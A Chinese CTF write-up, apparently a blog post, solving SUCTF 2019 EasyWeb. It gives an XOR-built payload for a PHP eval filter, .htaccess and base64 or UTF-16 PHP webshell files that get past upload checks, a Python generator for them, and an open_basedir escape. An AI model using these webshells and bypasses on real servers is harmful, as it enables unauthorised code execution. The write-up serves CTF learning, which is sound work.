[SUCTF 2019]EasyWeb

题目源码
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

先分析命令执行这部分的代码,要求

  • $hhh的长度不能大于18
  • 不能出现[\x00- 0-9A-Za-z’"`~_&.,|=[\x7F]+这里面的字符
  • 这字符串中互不相同的字符的数量不能超过12个

正则匹配过滤了~,|,所以考虑通过异或构造字符(自增构造的payload挺长的…)

//先看一下哪些字符是我们可以使用的
<?php
for($i=0;$i<255;$i++){
    $str=chr($i);
    if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $str) ){
        echo($i.',');
    }
}
/*
33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,
*/
#构造payload
def getpayload(str,payload):
    for i in [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254]:
       for j in [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254]:
           # print(chr(i^j))
            if chr(i^j) == str and hex(j) == '0x81':
                payload+=hex(i)[2:]
                print(payload)


#想要构建${_GET}{}();即{....^....}{..}();
str = '_GET'
for i in str:
    payload=''
    getpayload(i,payload)
#构造成${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=phpinfo

这样构造出的payload的长度正好为18,%xx表示url编码后的一个字符
传入?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag

下面分析文件上传这部分

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);//得到上传文件名字的后缀
    if(preg_match("/ph/i",$extension)) die("^_^"); //名字中不能含有ph
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

具体要求有:

  • 文件后缀名不能含有ph
  • 文件里面不能含有‘<?‘
  • 需要绕过exif-imagetype的检测

第一点可以想到上传.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell

第二点文件里面不能含有<?,可以想到用<script language=“php”></script>来绕过,但是由于<script language=“php”></script>在php7之后就不能使用了,但是这道题的版本是在这里插入图片描述
所以就不能使用了,那么就想着将文件中的内容进行编码,然后再利用伪协议解码读出
第三点:要怎么使.htaccess被识别成文件,因为如果直接写GIF89A的话会使得.htaccss文件无法生效

这里采用的方法是
.htaccess

#define width 1337
#define height 1337
AddType application/x-httpd-php .lucky
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.lucky"

采用预定义长高,因为#在htaccess文件中是注释符,所以并不影响文件解析

继续上传shell.lucky

GIF89A12
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+

解释一下为什么是GIF89A12:按照base64解码机制,应该是4个字节4个字节来进行解码,为了不影响对后面一句话木马的解码,所以要补上2个字节

还有一种绕过方法:

#如果原来使用utf8编码,可以使用utf16绕过
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"


def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()


def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .lethe\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()


if __name__ == '__main__':
    generate_htacess()

    generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

写一个文件上传的html文件:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<form action="http://ccaac0c2-5f19-48f3-8eb5-7543825cae0d.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag" method="post" enctype="multipart/form-data">
    <p><input type="file" name="file"></p>
    <p><input type="submit" value="submit"></p>
</form>

</body>
</html>

上传文件,然后采用蚁剑进行连接:
连上之后,发现不能访问根目录,在phpinfo()中进行查看
在这里插入图片描述
在这里插入图片描述
看到这里可以想到蚁剑有一个绕过disable_functions的插件(蚁剑插件如果不能在插件市场中进行下载可以在https://github.com/AntSword-Store进行下载)
这里就不给演示了(主要是不知道kail又出哪门子毛病了…)
还有一种方法:mkdir('lucky');chdir('lucky');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
因为限制了只能访问/var/www/html/,以及/tmp目录,我自己的理解是,虽然限制了只能读这两个目录,但是每个目录下其实都存在在这里插入图片描述
.. 然后通过chdir(’…’)我们就可以来到根目录了

参考

https://blog.csdn.net/m0_46587008/article/details/111242376
https://blog.csdn.net/rfrder/article/details/111207725

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值